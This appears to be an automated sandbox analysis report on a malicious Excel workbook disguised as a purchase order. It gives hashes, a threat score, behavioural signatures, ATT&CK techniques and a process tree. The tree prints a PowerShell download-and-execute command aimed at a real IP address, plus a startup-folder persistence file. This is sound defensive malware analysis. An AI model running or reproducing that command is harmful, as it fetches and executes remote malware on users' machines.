f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9

Analysis

max time kernel
101s
max time network
111s
platform
windows7_x64
resource
win7v20210408
submitted
30/08/2021, 18:23

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General

Target
purchase order-419617892#..xlsb
Size 69KB
Sample210830-tdbcfazrd2
SHA256 f148e9a2089039a66fa624e1ffff5ddc5ac5190ee9fdef35a0e973725b60fbc9
MD5 34339f5f8f3b303aad00272edfa2827f
SHA1 e1273963b7b1b7613f77e0ce353c108ae7557968
SHA512 fa74fab1b5762d712e61c465accd756b76d1a7c48a27f4b56e2f4298511f1ef8eb81d859763344fd7a14c57df5faa83db4c2bdb7f50c3c44e50582827fb17a4d
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://54.202.26.55/oo

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1692	564	cmd.exe	26

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1748	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1292	java.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sys.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sys.cmd	powershell.exe

Loads dropped DLL 31 IoCs

pid	Process
1576	cmd.exe
1576	cmd.exe
1576	cmd.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
1292	java.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
376	1292	WerFault.exe	36

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
564	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1748	powershell.exe
1748	powershell.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe
376	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	376	WerFault.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
564	EXCEL.EXE
564	EXCEL.EXE
564	EXCEL.EXE

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 1692	564	EXCEL.EXE	29
PID 564 wrote to memory of 1692	564	EXCEL.EXE	29
PID 564 wrote to memory of 1692	564	EXCEL.EXE	29
PID 564 wrote to memory of 1692	564	EXCEL.EXE	29
PID 1692 wrote to memory of 1748	1692	cmd.exe	31
PID 1692 wrote to memory of 1748	1692	cmd.exe	31
PID 1692 wrote to memory of 1748	1692	cmd.exe	31
PID 1692 wrote to memory of 1748	1692	cmd.exe	31
PID 1748 wrote to memory of 912	1748	powershell.exe	33
PID 1748 wrote to memory of 912	1748	powershell.exe	33
PID 1748 wrote to memory of 912	1748	powershell.exe	33
PID 1748 wrote to memory of 912	1748	powershell.exe	33
PID 912 wrote to memory of 1576	912	cmd.exe	34
PID 912 wrote to memory of 1576	912	cmd.exe	34
PID 912 wrote to memory of 1576	912	cmd.exe	34
PID 912 wrote to memory of 1576	912	cmd.exe	34
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1576 wrote to memory of 1292	1576	cmd.exe	36
PID 1292 wrote to memory of 376	1292	java.exe	37
PID 1292 wrote to memory of 376	1292	java.exe	37
PID 1292 wrote to memory of 376	1292	java.exe	37
PID 1292 wrote to memory of 376	1292	java.exe	37

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\purchase order-419617892#..xlsb"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep b IEX (New-Object Net.WebClient).DownloadString('http://54.202.26.55/oo')
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\User\Sys.cmd""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:912
    - - C:\Windows\SysWOW64\cmd.exe
        
        CMD.EXE /C C:\User\bin\java.exe -jar C:\User\x.jar
        5⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1576
      - C:\User\bin\java.exe
        
        C:\User\bin\java.exe -jar C:\User\x.jar
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1292
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 196
        7⤵
        Loads dropped DLL
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/376-157-0x0000000001C10000-0x0000000001C4F000-memory.dmp

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memory/564-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/564-59-0x000000002F541000-0x000000002F544000-memory.dmp

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memory/564-60-0x00000000717B1000-0x00000000717B3000-memory.dmp

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memory/564-158-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/1748-64-0x00000000757C1000-0x00000000757C3000-memory.dmp

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memory/1748-65-0x00000000009A0000-0x00000000009A1000-memory.dmp

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memory/1748-78-0x0000000005680000-0x0000000005681000-memory.dmp

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memory/1748-80-0x0000000006240000-0x0000000006241000-memory.dmp

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memory/1748-87-0x0000000005830000-0x0000000005831000-memory.dmp

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memory/1748-73-0x0000000005610000-0x0000000005611000-memory.dmp

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memory/1748-88-0x00000000062D0000-0x00000000062D1000-memory.dmp

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memory/1748-79-0x000000007EF30000-0x000000007EF31000-memory.dmp

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memory/1748-66-0x00000000047F0000-0x00000000047F1000-memory.dmp

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memory/1748-67-0x0000000000D60000-0x0000000000D61000-memory.dmp

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memory/1748-70-0x0000000005240000-0x0000000005241000-memory.dmp

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memory/1748-68-0x0000000000D62000-0x0000000000D63000-memory.dmp

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memory/1748-69-0x0000000001050000-0x0000000001051000-memory.dmp

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